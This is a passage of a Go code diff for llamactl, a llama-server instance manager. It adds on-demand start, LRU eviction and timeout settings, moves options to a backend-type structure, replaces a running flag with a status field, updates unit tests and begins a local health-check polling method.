+	// Default on-demand start setting for new instances
+	DefaultOnDemandStart bool `yaml:"default_on_demand_start"`
+
+	// How long to wait for an instance to start on demand (in seconds)
+	OnDemandStartTimeout int `yaml:"on_demand_start_timeout,omitempty"`
+
+	// Interval for checking instance timeouts (in minutes)
+	TimeoutCheckInterval int `yaml:"timeout_check_interval"`
 }
 
 // AuthConfig contains authentication settings
@@ -101,10 +119,15 @@ func LoadConfig(configPath string) (AppConfig, error) {
 			LogsDir:              filepath.Join(getDefaultDataDirectory(), "logs"),
 			AutoCreateDirs:       true,
 			MaxInstances:         -1, // -1 means unlimited
+			MaxRunningInstances:  -1, // -1 means unlimited
+			EnableLRUEviction:    true,
 			LlamaExecutable:      "llama-server",
 			DefaultAutoRestart:   true,
 			DefaultMaxRestarts:   3,
 			DefaultRestartDelay:  5,
+			DefaultOnDemandStart: true,
+			OnDemandStartTimeout: 120, // 2 minutes
+			TimeoutCheckInterval: 5,   // Check timeouts every 5 minutes
 		},
 		Auth: AuthConfig{
 			RequireInferenceAuth:  true,
@@ -196,6 +219,16 @@ func loadEnvVars(cfg *AppConfig) {
 			cfg.Instances.MaxInstances = m
 		}
 	}
+	if maxRunning := os.Getenv("LLAMACTL_MAX_RUNNING_INSTANCES"); maxRunning != "" {
+		if m, err := strconv.Atoi(maxRunning); err == nil {
+			cfg.Instances.MaxRunningInstances = m
+		}
+	}
+	if enableLRUEviction := os.Getenv("LLAMACTL_ENABLE_LRU_EVICTION"); enableLRUEviction != "" {
+		if b, err := strconv.ParseBool(enableLRUEviction); err == nil {
+			cfg.Instances.EnableLRUEviction = b
+		}
+	}
 	if llamaExec := os.Getenv("LLAMACTL_LLAMA_EXECUTABLE"); llamaExec != "" {
 		cfg.Instances.LlamaExecutable = llamaExec
 	}
@@ -214,6 +247,21 @@ func loadEnvVars(cfg *AppConfig) {
 			cfg.Instances.DefaultRestartDelay = seconds
 		}
 	}
+	if onDemandStart := os.Getenv("LLAMACTL_DEFAULT_ON_DEMAND_START"); onDemandStart != "" {
+		if b, err := strconv.ParseBool(onDemandStart); err == nil {
+			cfg.Instances.DefaultOnDemandStart = b
+		}
+	}
+	if onDemandTimeout := os.Getenv("LLAMACTL_ON_DEMAND_START_TIMEOUT"); onDemandTimeout != "" {
+		if seconds, err := strconv.Atoi(onDemandTimeout); err == nil {
+			cfg.Instances.OnDemandStartTimeout = seconds
+		}
+	}
+	if timeoutCheckInterval := os.Getenv("LLAMACTL_TIMEOUT_CHECK_INTERVAL"); timeoutCheckInterval != "" {
+		if minutes, err := strconv.Atoi(timeoutCheckInterval); err == nil {
+			cfg.Instances.TimeoutCheckInterval = minutes
+		}
+	}
 	// Auth config
 	if requireInferenceAuth := os.Getenv("LLAMACTL_REQUIRE_INFERENCE_AUTH"); requireInferenceAuth != "" {
 		if b, err := strconv.ParseBool(requireInferenceAuth); err == nil {

pkg/instance/instance.go

@@ -5,7 +5,7 @@ import (
 	"encoding/json"
 	"fmt"
 	"io"
-	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/backends"
 	"llamactl/pkg/config"
 	"log"
 	"net/http"
@@ -13,46 +13,20 @@ import (
 	"net/url"
 	"os/exec"
 	"sync"
+	"sync/atomic"
 	"time"
 )
 
-type CreateInstanceOptions struct {
+// TimeProvider interface allows for testing with mock time
-	// Auto restart
+type TimeProvider interface {
-	AutoRestart *bool `json:"auto_restart,omitempty"`
+	Now() time.Time
-	MaxRestarts *int  `json:"max_restarts,omitempty"`
-	// RestartDelay duration in seconds
-	RestartDelay *int `json:"restart_delay_seconds,omitempty"`
-
-	llamacpp.LlamaServerOptions `json:",inline"`
 }
 
-// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
+// realTimeProvider implements TimeProvider using the actual time
-// This is needed because the embedded LlamaServerOptions has its own UnmarshalJSON
+type realTimeProvider struct{}
-// which can interfere with proper unmarshaling of the pointer fields
-func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
-	// First, unmarshal into a temporary struct without the embedded type
-	type tempCreateOptions struct {
-		AutoRestart  *bool `json:"auto_restart,omitempty"`
-		MaxRestarts  *int  `json:"max_restarts,omitempty"`
-		RestartDelay *int  `json:"restart_delay_seconds,omitempty"`
-	}
 
-	var temp tempCreateOptions
+func (realTimeProvider) Now() time.Time {
-	if err := json.Unmarshal(data, &temp); err != nil {
+	return time.Now()
-		return err
-	}
-
-	// Copy the pointer fields
-	c.AutoRestart = temp.AutoRestart
-	c.MaxRestarts = temp.MaxRestarts
-	c.RestartDelay = temp.RestartDelay
-
-	// Now unmarshal the embedded LlamaServerOptions
-	if err := json.Unmarshal(data, &c.LlamaServerOptions); err != nil {
-		return err
-	}
-
-	return nil
 }
 
 // Process represents a running instance of the llama server
@@ -62,7 +36,8 @@ type Process struct {
 	globalSettings *config.InstancesConfig
 
 	// Status
-	Running bool `json:"running"`
+	Status         InstanceStatus `json:"status"`
+	onStatusChange func(oldStatus, newStatus InstanceStatus)
 
 	// Creation time
 	Created int64 `json:"created,omitempty"` // Unix timestamp when the instance was created
@@ -83,85 +58,29 @@ type Process struct {
 	// Restart control
 	restartCancel context.CancelFunc `json:"-"` // Cancel function for pending restarts
 	monitorDone   chan struct{}      `json:"-"` // Channel to signal monitor goroutine completion
-}
 
-// validateAndCopyOptions validates and creates a deep copy of the provided options
+	// Timeout management
-// It applies validation rules and returns a safe copy
+	lastRequestTime atomic.Int64 // Unix timestamp of last request
-func validateAndCopyOptions(name string, options *CreateInstanceOptions) *CreateInstanceOptions {
+	timeProvider    TimeProvider `json:"-"` // Time provider for testing
-	optionsCopy := &CreateInstanceOptions{}
-
-	if options != nil {
-		// Copy the embedded LlamaServerOptions
-		optionsCopy.LlamaServerOptions = options.LlamaServerOptions
-
-		// Copy and validate pointer fields
-		if options.AutoRestart != nil {
-			autoRestart := *options.AutoRestart
-			optionsCopy.AutoRestart = &autoRestart
-		}
-
-		if options.MaxRestarts != nil {
-			maxRestarts := *options.MaxRestarts
-			if maxRestarts < 0 {
-				log.Printf("Instance %s MaxRestarts value (%d) cannot be negative, setting to 0", name, maxRestarts)
-				maxRestarts = 0
-			}
-			optionsCopy.MaxRestarts = &maxRestarts
-		}
-
-		if options.RestartDelay != nil {
-			restartDelay := *options.RestartDelay
-			if restartDelay < 0 {
-				log.Printf("Instance %s RestartDelay value (%d) cannot be negative, setting to 0 seconds", name, restartDelay)
-				restartDelay = 0
-			}
-			optionsCopy.RestartDelay = &restartDelay
-		}
-	}
-
-	return optionsCopy
-}
-
-// applyDefaultOptions applies default values from global settings to any nil options
-func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config.InstancesConfig) {
-	if globalSettings == nil {
-		return
-	}
-
-	if options.AutoRestart == nil {
-		defaultAutoRestart := globalSettings.DefaultAutoRestart
-		options.AutoRestart = &defaultAutoRestart
-	}
-
-	if options.MaxRestarts == nil {
-		defaultMaxRestarts := globalSettings.DefaultMaxRestarts
-		options.MaxRestarts = &defaultMaxRestarts
-	}
-
-	if options.RestartDelay == nil {
-		defaultRestartDelay := globalSettings.DefaultRestartDelay
-		options.RestartDelay = &defaultRestartDelay
-	}
 }
 
 // NewInstance creates a new instance with the given name, log path, and options
-func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Process {
+func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions, onStatusChange func(oldStatus, newStatus InstanceStatus)) *Process {
 	// Validate and copy options
-	optionsCopy := validateAndCopyOptions(name, options)
+	options.ValidateAndApplyDefaults(name, globalSettings)
-	// Apply defaults
+
-	applyDefaultOptions(optionsCopy, globalSettings)
 	// Create the instance logger
 	logger := NewInstanceLogger(name, globalSettings.LogsDir)
 
 	return &Process{
 		Name:           name,
-		options:        optionsCopy,
+		options:        options,
 		globalSettings: globalSettings,
 		logger:         logger,
-
+		timeProvider:   realTimeProvider{},
-		Running: false,
-
 		Created:        time.Now().Unix(),
+		Status:         Stopped,
+		onStatusChange: onStatusChange,
 	}
 }
 
@@ -171,6 +90,30 @@ func (i *Process) GetOptions() *CreateInstanceOptions {
 	return i.options
 }
 
+func (i *Process) GetPort() int {
+	i.mu.RLock()
+	defer i.mu.RUnlock()
+	if i.options != nil {
+		switch i.options.BackendType {
+		case backends.BackendTypeLlamaCpp:
+			return i.options.LlamaServerOptions.Port
+		}
+	}
+	return 0
+}
+
+func (i *Process) GetHost() string {
+	i.mu.RLock()
+	defer i.mu.RUnlock()
+	if i.options != nil {
+		switch i.options.BackendType {
+		case backends.BackendTypeLlamaCpp:
+			return i.options.LlamaServerOptions.Host
+		}
+	}
+	return ""
+}
+
 func (i *Process) SetOptions(options *CreateInstanceOptions) {
 	i.mu.Lock()
 	defer i.mu.Unlock()
@@ -180,15 +123,19 @@ func (i *Process) SetOptions(options *CreateInstanceOptions) {
 		return
 	}
 
-	// Validate and copy options and apply defaults
+	// Validate and copy options
-	optionsCopy := validateAndCopyOptions(i.Name, options)
+	options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
-	applyDefaultOptions(optionsCopy, i.globalSettings)
 
-	i.options = optionsCopy
+	i.options = options
 	// Clear the proxy so it gets recreated with new options
 	i.proxy = nil
 }
 
+// SetTimeProvider sets a custom time provider for testing
+func (i *Process) SetTimeProvider(tp TimeProvider) {
+	i.timeProvider = tp
+}
+
 // GetProxy returns the reverse proxy for this instance, creating it if needed
 func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
 	i.mu.Lock()
@@ -202,7 +149,15 @@ func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
 		return nil, fmt.Errorf("instance %s has no options set", i.Name)
 	}
 
-	targetURL, err := url.Parse(fmt.Sprintf("http://%s:%d", i.options.Host, i.options.Port))
+	var host string
+	var port int
+	switch i.options.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		host = i.options.LlamaServerOptions.Host
+		port = i.options.LlamaServerOptions.Port
+	}
+
+	targetURL, err := url.Parse(fmt.Sprintf("http://%s:%d", host, port))
 	if err != nil {
 		return nil, fmt.Errorf("failed to parse target URL for instance %s: %w", i.Name, err)
 	}
@@ -232,44 +187,36 @@ func (i *Process) MarshalJSON() ([]byte, error) {
 	i.mu.RLock()
 	defer i.mu.RUnlock()
 
-	// Create a temporary struct with exported fields for JSON marshalling
+	// Use anonymous struct to avoid recursion
-	temp := struct {
+	type Alias Process
-		Name    string                 `json:"name"`
+	return json.Marshal(&struct {
+		*Alias
 		Options *CreateInstanceOptions `json:"options,omitempty"`
-		Running bool                   `json:"running"`
-		Created int64                  `json:"created,omitempty"`
 	}{
-		Name:    i.Name,
+		Alias:   (*Alias)(i),
 		Options: i.options,
-		Running: i.Running,
+	})
-		Created: i.Created,
-	}
-
-	return json.Marshal(temp)
 }
 
 // UnmarshalJSON implements json.Unmarshaler for Instance
 func (i *Process) UnmarshalJSON(data []byte) error {
-	// Create a temporary struct for unmarshalling
+	// Use anonymous struct to avoid recursion
-	temp := struct {
+	type Alias Process
-		Name    string                 `json:"name"`
+	aux := &struct {
+		*Alias
 		Options *CreateInstanceOptions `json:"options,omitempty"`
-		Running bool                   `json:"running"`
+	}{
-		Created int64                  `json:"created,omitempty"`
+		Alias: (*Alias)(i),
-	}{}
+	}
 
-	if err := json.Unmarshal(data, &temp); err != nil {
+	if err := json.Unmarshal(data, aux); err != nil {
 		return err
 	}
 
-	// Set the fields
+	// Handle options with validation and defaults
-	i.Name = temp.Name
+	if aux.Options != nil {
-	i.Running = temp.Running
+		aux.Options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
-	i.Created = temp.Created
+		i.options = aux.Options
-
-	// Handle options with validation but no defaults
-	if temp.Options != nil {
-		i.options = validateAndCopyOptions(i.Name, temp.Options)
 	}
 
 	return nil

pkg/instance/instance_test.go

@@ -2,6 +2,7 @@ package instance_test
 
 import (
 	"encoding/json"
+	"llamactl/pkg/backends"
 	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
@@ -18,28 +19,32 @@ func TestNewInstance(t *testing.T) {
 	}
 
 	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
 	}
 
-	instance := instance.NewInstance("test-instance", globalSettings, options)
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
 
-	if instance.Name != "test-instance" {
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-		t.Errorf("Expected name 'test-instance', got %q", instance.Name)
+
+	if inst.Name != "test-instance" {
+		t.Errorf("Expected name 'test-instance', got %q", inst.Name)
 	}
-	if instance.Running {
+	if inst.IsRunning() {
 		t.Error("New instance should not be running")
 	}
 
 	// Check that options were properly set with defaults applied
-	opts := instance.GetOptions()
+	opts := inst.GetOptions()
-	if opts.Model != "/path/to/model.gguf" {
+	if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
 	}
-	if opts.Port != 8080 {
+	if inst.GetPort() != 8080 {
-		t.Errorf("Expected port 8080, got %d", opts.Port)
+		t.Errorf("Expected port 8080, got %d", inst.GetPort())
 	}
 
 	// Check that defaults were applied
@@ -71,12 +76,16 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
 		AutoRestart:  &autoRestart,
 		MaxRestarts:  &maxRestarts,
 		RestartDelay: &restartDelay,
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType:  backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
 
-	instance := instance.NewInstance("test-instance", globalSettings, options)
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	instance := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
 	opts := instance.GetOptions()
 
 	// Check that explicit values override defaults
@@ -91,38 +100,6 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
 	}
 }
 
-func TestNewInstance_ValidationAndDefaults(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	// Test with invalid negative values
-	invalidMaxRestarts := -5
-	invalidRestartDelay := -10
-
-	options := &instance.CreateInstanceOptions{
-		MaxRestarts:  &invalidMaxRestarts,
-		RestartDelay: &invalidRestartDelay,
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance := instance.NewInstance("test-instance", globalSettings, options)
-	opts := instance.GetOptions()
-
-	// Check that negative values were corrected to 0
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 0 {
-		t.Errorf("Expected MaxRestarts to be corrected to 0, got %v", opts.MaxRestarts)
-	}
-	if opts.RestartDelay == nil || *opts.RestartDelay != 0 {
-		t.Errorf("Expected RestartDelay to be corrected to 0, got %v", opts.RestartDelay)
-	}
-}
-
 func TestSetOptions(t *testing.T) {
 	globalSettings := &config.InstancesConfig{
 		LogsDir:             "/tmp/test",
@@ -132,17 +109,22 @@ func TestSetOptions(t *testing.T) {
 	}
 
 	initialOptions := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
 	}
 
-	inst := instance.NewInstance("test-instance", globalSettings, initialOptions)
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, initialOptions, mockOnStatusChange)
 
 	// Update options
 	newOptions := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/new-model.gguf",
 			Port:  8081,
 		},
@@ -151,11 +133,11 @@ func TestSetOptions(t *testing.T) {
 	inst.SetOptions(newOptions)
 	opts := inst.GetOptions()
 
-	if opts.Model != "/path/to/new-model.gguf" {
+	if opts.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model)
+		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.LlamaServerOptions.Model)
 	}
-	if opts.Port != 8081 {
+	if inst.GetPort() != 8081 {
-		t.Errorf("Expected updated port 8081, got %d", opts.Port)
+		t.Errorf("Expected updated port 8081, got %d", inst.GetPort())
 	}
 
 	// Check that defaults are still applied
@@ -164,46 +146,23 @@ func TestSetOptions(t *testing.T) {
 	}
 }
 
-func TestSetOptions_NilOptions(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance := instance.NewInstance("test-instance", globalSettings, options)
-	originalOptions := instance.GetOptions()
-
-	// Try to set nil options
-	instance.SetOptions(nil)
-
-	// Options should remain unchanged
-	currentOptions := instance.GetOptions()
-	if currentOptions.Model != originalOptions.Model {
-		t.Error("Options should not change when setting nil options")
-	}
-}
-
 func TestGetProxy(t *testing.T) {
 	globalSettings := &config.InstancesConfig{
 		LogsDir: "/tmp/test",
 	}
 
 	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Host: "localhost",
 			Port: 8080,
 		},
 	}
 
-	inst := instance.NewInstance("test-instance", globalSettings, options)
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
 
 	// Get proxy for the first time
 	proxy1, err := inst.GetProxy()
@@ -233,13 +192,17 @@ func TestMarshalJSON(t *testing.T) {
 	}
 
 	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
 	}
 
-	instance := instance.NewInstance("test-instance", globalSettings, options)
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	instance := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
 
 	data, err := json.Marshal(instance)
 	if err != nil {
@@ -247,7 +210,7 @@ func TestMarshalJSON(t *testing.T) {
 	}
 
 	// Check that JSON contains expected fields
-	var result map[string]interface{}
+	var result map[string]any
 	err = json.Unmarshal(data, &result)
 	if err != nil {
 		t.Fatalf("JSON unmarshal failed: %v", err)
@@ -256,8 +219,8 @@ func TestMarshalJSON(t *testing.T) {
 	if result["name"] != "test-instance" {
 		t.Errorf("Expected name 'test-instance', got %v", result["name"])
 	}
-	if result["running"] != false {
+	if result["status"] != "stopped" {
-		t.Errorf("Expected running false, got %v", result["running"])
+		t.Errorf("Expected status 'stopped', got %v", result["status"])
 	}
 
 	// Check that options are included
@@ -269,20 +232,41 @@ func TestMarshalJSON(t *testing.T) {
 	if !ok {
 		t.Error("Expected options to be a map")
 	}
-	if options_map["model"] != "/path/to/model.gguf" {
+
-		t.Errorf("Expected model '/path/to/model.gguf', got %v", options_map["model"])
+	// Check backend type
+	if options_map["backend_type"] != string(backends.BackendTypeLlamaCpp) {
+		t.Errorf("Expected backend_type '%s', got %v", backends.BackendTypeLlamaCpp, options_map["backend_type"])
+	}
+
+	// Check backend options
+	backend_options_data, ok := options_map["backend_options"]
+	if !ok {
+		t.Error("Expected backend_options to be included in JSON")
+	}
+	backend_options_map, ok := backend_options_data.(map[string]any)
+	if !ok {
+		t.Error("Expected backend_options to be a map")
+	}
+	if backend_options_map["model"] != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %v", backend_options_map["model"])
+	}
+	if backend_options_map["port"] != float64(8080) {
+		t.Errorf("Expected port 8080, got %v", backend_options_map["port"])
 	}
 }
 
 func TestUnmarshalJSON(t *testing.T) {
 	jsonData := `{
 		"name": "test-instance",
-		"running": true,
+		"status": "running",
 		"options": {
-			"model": "/path/to/model.gguf",
-			"port": 8080,
 			"auto_restart": false,
-			"max_restarts": 5
+			"max_restarts": 5,
+			"backend_type": "llama_cpp",
+			"backend_options": {
+				"model": "/path/to/model.gguf",
+				"port": 8080
+			}
 		}
 	}`
 
@@ -295,19 +279,25 @@ func TestUnmarshalJSON(t *testing.T) {
 	if inst.Name != "test-instance" {
 		t.Errorf("Expected name 'test-instance', got %q", inst.Name)
 	}
-	if !inst.Running {
+	if !inst.IsRunning() {
-		t.Error("Expected running to be true")
+		t.Error("Expected status to be running")
 	}
 
 	opts := inst.GetOptions()
 	if opts == nil {
 		t.Fatal("Expected options to be set")
 	}
-	if opts.Model != "/path/to/model.gguf" {
+	if opts.BackendType != backends.BackendTypeLlamaCpp {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
+		t.Errorf("Expected backend_type '%s', got %s", backends.BackendTypeLlamaCpp, opts.BackendType)
 	}
-	if opts.Port != 8080 {
+	if opts.LlamaServerOptions == nil {
-		t.Errorf("Expected port 8080, got %d", opts.Port)
+		t.Fatal("Expected LlamaServerOptions to be set")
+	}
+	if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
+	}
+	if inst.GetPort() != 8080 {
+		t.Errorf("Expected port 8080, got %d", inst.GetPort())
 	}
 	if opts.AutoRestart == nil || *opts.AutoRestart {
 		t.Error("Expected AutoRestart to be false")
@@ -317,58 +307,6 @@ func TestUnmarshalJSON(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_PartialOptions(t *testing.T) {
-	jsonData := `{
-		"name": "test-instance",
-		"running": false,
-		"options": {
-			"model": "/path/to/model.gguf"
-		}
-	}`
-
-	var inst instance.Process
-	err := json.Unmarshal([]byte(jsonData), &inst)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	opts := inst.GetOptions()
-	if opts.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
-	}
-
-	// Note: Defaults are NOT applied during unmarshaling
-	// They should only be applied by NewInstance or SetOptions
-	if opts.AutoRestart != nil {
-		t.Error("Expected AutoRestart to be nil (no defaults applied during unmarshal)")
-	}
-}
-
-func TestUnmarshalJSON_NoOptions(t *testing.T) {
-	jsonData := `{
-		"name": "test-instance",
-		"running": false
-	}`
-
-	var inst instance.Process
-	err := json.Unmarshal([]byte(jsonData), &inst)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	if inst.Name != "test-instance" {
-		t.Errorf("Expected name 'test-instance', got %q", inst.Name)
-	}
-	if inst.Running {
-		t.Error("Expected running to be false")
-	}
-
-	opts := inst.GetOptions()
-	if opts != nil {
-		t.Error("Expected options to be nil when not provided in JSON")
-	}
-}
-
 func TestCreateInstanceOptionsValidation(t *testing.T) {
 	tests := []struct {
 		name          string
@@ -377,13 +315,6 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
 		expectedMax   int
 		expectedDelay int
 	}{
-		{
-			name:          "nil values",
-			maxRestarts:   nil,
-			restartDelay:  nil,
-			expectedMax:   0, // Should remain nil, but we can't easily test nil in this structure
-			expectedDelay: 0,
-		},
 		{
 			name:          "valid positive values",
 			maxRestarts:   testutil.IntPtr(10),
@@ -416,29 +347,29 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
 			options := &instance.CreateInstanceOptions{
 				MaxRestarts:  tt.maxRestarts,
 				RestartDelay: tt.restartDelay,
-				LlamaServerOptions: llamacpp.LlamaServerOptions{
+				BackendType:  backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
 					Model: "/path/to/model.gguf",
 				},
 			}
 
-			instance := instance.NewInstance("test", globalSettings, options)
+			// Mock onStatusChange function
+			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+			instance := instance.NewInstance("test", globalSettings, options, mockOnStatusChange)
 			opts := instance.GetOptions()
 
-			if tt.maxRestarts != nil {
 			if opts.MaxRestarts == nil {
 				t.Error("Expected MaxRestarts to be set")
 			} else if *opts.MaxRestarts != tt.expectedMax {
 				t.Errorf("Expected MaxRestarts %d, got %d", tt.expectedMax, *opts.MaxRestarts)
 			}
-			}
 
-			if tt.restartDelay != nil {
 			if opts.RestartDelay == nil {
 				t.Error("Expected RestartDelay to be set")
 			} else if *opts.RestartDelay != tt.expectedDelay {
 				t.Errorf("Expected RestartDelay %d, got %d", tt.expectedDelay, *opts.RestartDelay)
 			}
-			}
 		})
 	}
 }

pkg/instance/lifecycle.go

@@ -4,6 +4,7 @@ import (
 	"context"
 	"fmt"
 	"log"
+	"net/http"
 	"os/exec"
 	"runtime"
 	"syscall"
@@ -15,7 +16,7 @@ func (i *Process) Start() error {
 	i.mu.Lock()
 	defer i.mu.Unlock()
 
-	if i.Running {
+	if i.IsRunning() {
 		return fmt.Errorf("instance %s is already running", i.Name)
 	}
 
@@ -30,13 +31,15 @@ func (i *Process) Start() error {
 		i.restarts = 0
 	}
 
+	// Initialize last request time to current time when starting
+	i.lastRequestTime.Store(i.timeProvider.Now().Unix())
+
 	// Create log files
 	if err := i.logger.Create(); err != nil {
 		return fmt.Errorf("failed to create log files: %w", err)
 	}
 
 	args := i.options.BuildCommandArgs()
-
 	i.ctx, i.cancel = context.WithCancel(context.Background())
 	i.cmd = exec.CommandContext(i.ctx, "llama-server", args...)
 
@@ -61,7 +64,7 @@ func (i *Process) Start() error {
 		return fmt.Errorf("failed to start instance %s: %w", i.Name, err)
 	}
 
-	i.Running = true
+	i.SetStatus(Running)
 
 	// Create channel for monitor completion signaling
 	i.monitorDone = make(chan struct{})
@@ -78,7 +81,7 @@ func (i *Process) Start() error {
 func (i *Process) Stop() error {
 	i.mu.Lock()
 
-	if !i.Running {
+	if !i.IsRunning() {
 		// Even if not running, cancel any pending restart
 		if i.restartCancel != nil {
 			i.restartCancel()
@@ -95,8 +98,8 @@ func (i *Process) Stop() error {
 		i.restartCancel = nil
 	}
 
-	// Set running to false first to signal intentional stop
+	// Set status to stopped first to signal intentional stop
-	i.Running = false
+	i.SetStatus(Stopped)
 
 	// Clean up the proxy
 	i.proxy = nil
@@ -106,19 +109,25 @@ func (i *Process) Stop() error {
 
 	i.mu.Unlock()
 
-	// Stop the process with SIGINT
+	// Stop the process with SIGINT if cmd exists
-	if i.cmd.Process != nil {
+	if i.cmd != nil && i.cmd.Process != nil {
 		if err := i.cmd.Process.Signal(syscall.SIGINT); err != nil {
 			log.Printf("Failed to send SIGINT to instance %s: %v", i.Name, err)
 		}
 	}
 
+	// If no process exists, we can return immediately
+	if i.cmd == nil || monitorDone == nil {
+		i.logger.Close()
+		return nil
+	}
+
 	select {
 	case <-monitorDone:
 		// Process exited normally
 	case <-time.After(30 * time.Second):
 		// Force kill if it doesn't exit within 30 seconds
-		if i.cmd.Process != nil {
+		if i.cmd != nil && i.cmd.Process != nil {
 			killErr := i.cmd.Process.Kill()
 			if killErr != nil {
 				log.Printf("Failed to force kill instance %s: %v", i.Name, killErr)
@@ -140,6 +149,84 @@ func (i *Process) Stop() error {
 	return nil
 }
 
+func (i *Process) LastRequestTime() int64 {
+	return i.lastRequestTime.Load()
+}
+
+func (i *Process) WaitForHealthy(timeout int) error {
+	if !i.IsRunning() {
+		return fmt.Errorf("instance %s is not running", i.Name)
+	}
+
+	if timeout <= 0 {
+		timeout = 30 // Default to 30 seconds if no timeout is specified
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
+	defer cancel()
+
+	// Get instance options to build the health check URL
+	opts := i.GetOptions()
+	if opts == nil {
+		return fmt.Errorf("instance %s has no options set", i.Name)
+	}
+
+	// Build the health check URL directly
+	var host string
+	var port int
+	switch opts.BackendType {
+	case "llama-cpp":
+		host = opts.LlamaServerOptions.Host
+		port = opts.LlamaServerOptions.Port
+	}
+	if host == "" {
+		host = "localhost"
+	}
+	healthURL := fmt.Sprintf("http://%s:%d/health", host, port)
+
+	// Create a dedicated HTTP client for health checks
+	client := &http.Client{
+		Timeout: 5 * time.Second, // 5 second timeout per request
+	}
+
+	// Helper function to check health directly
+	checkHealth := func() bool {
+		req, err := http.NewRequestWithContext(ctx, "GET", healthURL, nil)
+		if err != nil {
+			return false
+		}
+
+		resp, err := client.Do(req)
+		if err != nil {
+			return false
+		}
+		defer resp.Body.Close()
+
+		return resp.StatusCode == http.StatusOK
+	}
+
+	// Try immediate check first
+	if checkHealth() {
+		return nil // Instance is healthy
+	}
+
+	// If immediate check failed, start polling
+	ticker := time.NewTicker(1 * time.Second)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
